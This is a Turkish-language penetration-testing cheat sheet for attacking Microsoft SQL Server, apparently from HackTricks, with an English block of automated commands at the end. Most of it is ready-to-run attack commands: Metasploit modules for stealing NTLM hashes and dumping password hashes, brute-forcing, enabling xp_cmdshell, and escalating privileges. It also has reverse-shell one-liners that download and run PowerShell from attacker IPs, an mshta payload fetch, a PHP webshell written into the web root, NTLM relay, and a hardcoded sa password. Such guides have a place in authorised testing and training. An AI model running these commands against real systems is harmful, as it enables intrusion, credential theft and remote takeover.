Microsoft SQL Server, Microsoft tarafından geliştirilen bir ilişkisel veritabanı yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından talep edilen verileri depolama ve alma işlevine sahip bir yazılım ürünüdür; bu uygulamalar aynı bilgisayarda veya bir ağ üzerinden (İnternet dahil) başka bir bilgisayarda çalışabilir.\
Varsayılan port: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
Varsayılan MS-SQL Sistem Tabloları
master Veritabanı: Bu veritabanı, bir SQL Server örneği için tüm sistem düzeyindeki ayrıntıları yakaladığı için çok önemlidir.
msdb Veritabanı: SQL Server Agent, uyarılar ve işler için zamanlama yönetimi yapmak üzere bu veritabanını kullanır.
model Veritabanı: SQL Server örneğindeki her yeni veritabanı için bir şablon görevi görür; boyut, sıralama, kurtarma modeli gibi değişiklikler yeni oluşturulan veritabanlarında yansıtılır.
Resource Veritabanı: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler, Resource veritabanında fiziksel olarak saklanırken, her veritabanının sys şemasında mantıksal olarak sunulur.
tempdb Veritabanı: Geçici nesneler veya ara sonuç kümeleri için geçici bir depolama alanı olarak hizmet eder.
Eğer kimlik bilgilerin yoksa onları tahmin etmeyi deneyebilirsin. nmap veya metasploit kullanabilirsin. Dikkatli ol, mevcut bir kullanıcı adı ile birkaç kez giriş yapmaya çalışırsan hesapları engelleyebilirsin.
Metasploit (kimlik bilgileri gerekli)
#Set USERNAME, RHOSTS and PASSWORD#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used#Steal NTLMmsf> useauxiliary/admin/mssql/mssql_ntlm_stealer#Steal NTLM hash, before executing run Responder#Info gatheringmsf> useadmin/mssql/mssql_enum#Security checksmsf> useadmin/mssql/mssql_enum_domain_accountsmsf> useadmin/mssql/mssql_enum_sql_loginsmsf> useauxiliary/admin/mssql/mssql_findandsampledatamsf> useauxiliary/scanner/mssql/mssql_hashdumpmsf> useauxiliary/scanner/mssql/mssql_schemadump#Search for insteresting datamsf> useauxiliary/admin/mssql/mssql_findandsampledatamsf> useauxiliary/admin/mssql/mssql_idf#Privescmsf> useexploit/windows/mssql/mssql_linkcrawlermsf> useadmin/mssql/mssql_escalate_execute_as#If the user has IMPERSONATION privilege, this will try to escalatemsf> useadmin/mssql/mssql_escalate_dbowner#Escalate from db_owner to sysadmin#Code executionmsf> useadmin/mssql/mssql_exec#Execute commandsmsf> useexploit/windows/mssql/mssql_payload#Uploads and execute a payload#Add new admin user from meterpreter sessionmsf> usewindows/manage/mssql_local_auth_bypass
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-tltickets.txt-ulusers.txt-hlhashes.txt-plpasswords.txt# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-ulusers.txt-hlhashes.txt-plpasswords.txt# Bruteforce using tickets against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-tltickets.txt-ulusers.txt# Bruteforce using passwords against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-ulusers.txt-plpasswords.txt# Bruteforce using hashes against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-ulusers.txt-hlhashes.txt
# Using Impacket mssqlclient.pymssqlclient.py [-db volume]<DOMAIN>/<USERNAME>:<PASSWORD>@<IP>## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machinemssqlclient.py [-db volume]-windows-auth<DOMAIN>/<USERNAME>:<PASSWORD>@<IP># Using sqshsqsh-S<IP>-U<Username>-P<Password>-D<Database>## In case Windows Auth using "." as domain name for local usersqsh-S<IP>-U.\\<Username>-P<Password>-D<Database>## In sqsh you need to use GO after writting the query to send it1>select 1;2> go
Yaygın Keşif
# Getversionselect @@version;# Get userselectuser_name();# Get databasesSELECTnameFROM master.dbo.sysdatabases;# UsedatabaseUSEmaster#Gettable namesSELECT*FROM<databaseName>.INFORMATION_SCHEMA.TABLES;#List Linked ServersEXEC sp_linkedserversSELECT*FROM sys.servers;#List usersselect sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privsCREATELOGIN hacker WITHPASSWORD='P@ssword123!'EXEC sp_addsrvrolemember 'hacker', 'sysadmin'#Enumerate linksenum_links#Use a linkuse_link [NAME]
# Get all the users and rolesselect*from sys.database_principals;## This query filters a bit the resultsselectname,create_date,modify_date,type_descastype,authentication_type_desc as authentication_type,sidfrom sys.database_principalswheretypenotin ('A', 'R')order byname;## Both of these select all the users of the current database (not the server).## Interesting when you cannot acces the table sys.database_principalsEXEC sp_helpuserSELECT*FROM sysusers
İzinleri Al
Securable: Erişim kontrolü için SQL Server tarafından yönetilen kaynaklar olarak tanımlanır. Bunlar şu şekilde kategorize edilir:
Sunucu – Örnekler arasında veritabanları, girişler, uç noktalar, kullanılabilirlik grupları ve sunucu rolleri bulunur.
Veritabanı – Örnekler arasında veritabanı rolleri, uygulama rolleri, şemalar, sertifikalar, tam metin katalogları ve kullanıcılar yer alır.
Şema – Tablo, görünüm, prosedür, fonksiyon, eşanlamlılar vb. içerir.
İzin: SQL Server securables ile ilişkili olan, ALTER, CONTROL ve CREATE gibi izinler bir prensipe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir:
Sunucu Seviyesi girişler kullanılarak
Veritabanı Seviyesi kullanıcılar kullanılarak
Prensip: Bu terim, bir securable'a izin verilen varlığı ifade eder. Prensipler esasen girişler ve veritabanı kullanıcılarını içerir. Securables'a erişim üzerindeki kontrol, izinlerin verilmesi veya reddedilmesi yoluyla veya girişlerin ve kullanıcıların erişim haklarına sahip rollere dahil edilmesiyle sağlanır.
# Show all different securables namesSELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);# Show all possible permissions in MSSQLSELECT*FROM sys.fn_builtin_permissions(DEFAULT);# Get all my permissions over securable typeSERVERSELECT*FROM fn_my_permissions(NULL, 'SERVER');# Get all my permissions over a databaseUSE<database>SELECT*FROM fn_my_permissions(NULL, 'DATABASE');# Get members of the role"sysadmin"UsemasterEXEC sp_helpsrvrolemember 'sysadmin';# Getif the current user is sysadminSELECTIS_SRVROLEMEMBER('sysadmin');# Get users that can run xp_cmdshellUsemasterEXEC sp_helprotect 'xp_cmdshell'
Tricks
OS Komutlarını Çalıştır
Komutları çalıştırabilmek için sadece xp_cmdshelletkin olmasının yeterli olmadığını, aynı zamanda xp_cmdshell saklı yordamında EXECUTE iznine de sahip olmanız gerektiğini unutmayın. xp_cmdshell'i kimlerin (sysadminler hariç) kullanabileceğini öğrenmek için:
UsemasterEXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD commandcrackmapexecmssql-d<Domainname>-u<username>-p<password>-x"whoami"# Username + Hash + PS commandcrackmapexecmssql-d<Domainname>-u<username>-H<HASH>-X'$PSVersionTable'# Check if xp_cmdshell is enabledSELECT*FROMsys.configurationsWHEREname='xp_cmdshell';# This turns on advanced options and is needed to configure xp_cmdshellsp_configure'show advanced options','1'RECONFIGURE#This enables xp_cmdshellsp_configure'xp_cmdshell','1'RECONFIGURE#One linerEXECsp_configure'Show Advanced Options',1; RECONFIGURE; EXECsp_configure'xp_cmdshell',1; RECONFIGURE;# Quickly check what the service account is via xp_cmdshellEXECmaster..xp_cmdshell'whoami'# Get Rev shellEXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'pingk7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
# Executing custom assembly on the current server with windows authentication and executing hostname commandmssqlpwnercorp.com/user:lab@192.168.1.65-windows-authcustom-asmhostname# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwnercorp.com/user:lab@192.168.1.65-windows-auth-link-nameSRV01custom-asmhostname# Executing the hostname command using stored procedures on the linked SRV01 servermssqlpwnercorp.com/user:lab@192.168.1.65-windows-auth-link-nameSRV01exechostname# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate methodmssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
NetNTLM hash'ını Çal / Relay saldırısı
Kimlik doğrulamada kullanılan hash'i yakalamak için bir SMB sunucusu başlatmalısınız (impacket-smbserver veya responder gibi).
# Issuing NTLM relay attack on the SRV01 servermssqlpwnercorp.com/user:lab@192.168.1.65-windows-auth-link-nameSRV01ntlm-relay192.168.45.250# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom commandmssqlpwnercorp.com/user:lab@192.168.1.65-windows-authntlm-relay192.168.45.250
Bu MSSQL fonksiyonlarını çalıştırma iznine sahip olanların (sysadmin'ler dışında) kimler olduğunu kontrol edebilirsiniz:
MSSQL kullanarak dosya yazmak için, Ole Automation Procedures'ı etkinleştirmemiz gerekiyor, bu da yönetici ayrıcalıkları gerektirir ve ardından dosyayı oluşturmak için bazı saklı yordamları çalıştırmalıyız:
# Enable Ole Automation Proceduressp_configure'show advanced options',1RECONFIGUREsp_configure'Ole Automation Procedures',1RECONFIGURE# Create a FileDECLARE@OLEINTDECLARE@FileIDINTEXECUTEsp_OACreate'Scripting.FileSystemObject',@OLEOUTEXECUTEsp_OAMethod@OLE,'OpenTextFile',@FileIDOUT,'c:\inetpub\wwwroot\webshell.php',8,1EXECUTEsp_OAMethod@FileID,'WriteLine',Null,'<?php echo shell_exec($_GET["c"]);?>'EXECUTEsp_OADestroy@FileIDEXECUTEsp_OADestroy@OLE
Dosyayı OPENROWSET ile oku
Varsayılan olarak, MSSQL, hesabın okuma erişimi olan işletim sistemindeki herhangi bir dosyada okuma yapmaya izin verir. Aşağıdaki SQL sorgusunu kullanabiliriz:
SELECT*FROMOPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
Ancak, BULK seçeneği ADMINISTER BULK OPERATIONS veya ADMINISTER DATABASE BULK OPERATIONS iznini gerektirir.
# Checkif you have itSELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
MSSQL, Python ve/veya R'de scriptler çalıştırmanıza izin verebilir. Bu kod, xp_cmdshell kullanarak komutları çalıştıran farklı bir kullanıcı tarafından yürütülecektir.
Çalıştırmaya çalışan bir örnek 'R'"Hellow World!"çalışmıyor:
Birçok eylemi gerçekleştirmek için yapılandırılmış python kullanarak bir örnek:
# Print the user being used (andexecute commands)EXECUTE sp_execute_external_script @language =N'Python', @script =N'print(__import__("getpass").getuser())'EXECUTE sp_execute_external_script @language =N'Python', @script =N'print(__import__("os").system("whoami"))'#Openandread a fileEXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#MultilineEXECUTE sp_execute_external_script @language =N'Python', @script = N'import sysprint(sys.version)'GO
Kayıt Defterini Oku
Microsoft SQL Server, yalnızca ağla değil, aynı zamanda dosya sistemiyle ve hatta Windows Kayıt Defteri** ile etkileşimde bulunmanıza olanak tanıyan birden fazla genişletilmiş saklı yordam sağlar:**
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
MSSQL içinde özel fonksiyonlarla bir .NET dll yüklemek mümkündür. Ancak, bu dbo erişimi gerektirir, bu nedenle veritabanına sa veya bir Yönetici rolü olarak bağlanmanız gerekir.
Eğer bir normal kullanıcıyadb_owner rolü, bir yönetici kullanıcısına ait olan veritabanı üzerinde verilirse (örneğin sa) ve o veritabanı trustworthy olarak yapılandırılmışsa, o kullanıcı bu ayrıcalıkları privesc için kötüye kullanabilir çünkü orada oluşturulan saklı yordamlar sahibi (admin) olarak çalıştırılabilir.
# Get owners of databasesSELECTsuser_sname(owner_sid) FROM sys.databases# Find trustworthy databasesSELECT a.name,b.is_trustworthy_onFROMmaster..sysdatabases as aINNER JOIN sys.databases as bON a.name=b.name;# Get roles over the selected database (look for your username as db_owner)USE<trustworthy_db>SELECT rp.name as database_role, mp.name as database_userfrom sys.database_role_members drmjoin sys.database_principals rp on (drm.role_principal_id = rp.principal_id)join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)# If you found you are db_owner of a trustworthydatabase, you can privesc:--1. Create a stored procedure to add your user to sysadmin roleUSE<trustworthy_db>CREATEPROCEDURE sp_elevate_meWITHEXECUTEASOWNERASEXEC sp_addsrvrolemember 'USERNAME','sysadmin'--2. Execute stored procedure to get sysadmin roleUSE<trustworthy_db>EXEC sp_elevate_me--3. Verify your user is a sysadminSELECTis_srvrolemember('sysadmin')
SQL Server, IMPERSONATE adında özel bir izin sunar, bu izin çalıştıran kullanıcının başka bir kullanıcının veya oturum açmanın izinlerini almasına olanak tanır; bu, bağlam sıfırlanana kadar veya oturum sona erene kadar geçerlidir.
# Find users you can impersonateSELECT distinct b.nameFROM sys.server_permissions aINNER JOIN sys.server_principals bON a.grantor_principal_id = b.principal_idWHERE a.permission_name ='IMPERSONATE'# Checkif the user "sa"or any other high privileged user is mentioned# Impersonate sa userEXECUTEASLOGIN='sa'SELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')# If you can't find any users, make sure to check for linksenum_links# If there is a link of interest, re-run the above steps on each linkuse_link [NAME]
Eğer bir kullanıcıyı taklit edebiliyorsanız, hatta sysadmin olmasa bile, kullanıcının diğerveritabanlarına veya bağlı sunuculara erişimi olup olmadığını kontrol etmelisiniz.
Not edin ki, bir kez sysadmin olduğunuzda, başka birini taklit edebilirsiniz:
-- Impersonate RegUserEXECUTEASLOGIN='RegUser'-- Verify you are now running as the the MyUser4 loginSELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')-- Change back to saREVERT
Bu saldırıyı bir metasploit modülü ile gerçekleştirebilirsiniz:
Bir saldırgan, SQL Server Bağlı Sunucularının parolalarını SQL Örneklerinden çıkarabilir ve bunları düz metin olarak elde edebilir, bu da saldırgana hedef üzerinde daha büyük bir hakimiyet sağlamak için kullanılabilecek parolalar verir. Bağlı Sunucular için saklanan parolaları çıkarmak ve şifrelerini çözmek için gereken script burada bulunabilir.
Bu istismar için bazı gereksinimler ve yapılandırmalar yapılmalıdır. Öncelikle, makinede Yönetici haklarına sahip olmalısınız veya SQL Server Yapılandırmalarını yönetme yeteneğine sahip olmalısınız.
İzinlerinizi doğruladıktan sonra, aşağıdaki üç şeyi yapılandırmanız gerekir:
SQL Server örneklerinde TCP/IP'yi etkinleştirin;
Bir Başlangıç parametresi ekleyin, bu durumda bir izleme bayrağı eklenecektir, bu -T7806'dır.
Uzaktan yönetici bağlantısını etkinleştirin.
Bu yapılandırmaları otomatikleştirmek için, bu depo gerekli scriptleri içermektedir. Her yapılandırma adımı için bir powershell scriptinin yanı sıra, depo ayrıca yapılandırma scriptlerini ve parolaların çıkarılması ve şifrelerinin çözülmesini birleştiren tam bir script de içermektedir.
MSSQL sunucusunu çalıştıran kullanıcı, SeImpersonatePrivilege ayrıcalık belirtecini etkinleştirmiş olacaktır.
Bu 2 sayfadan birini takip ederek Yöneticiye yükseltme yapabileceksiniz:
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'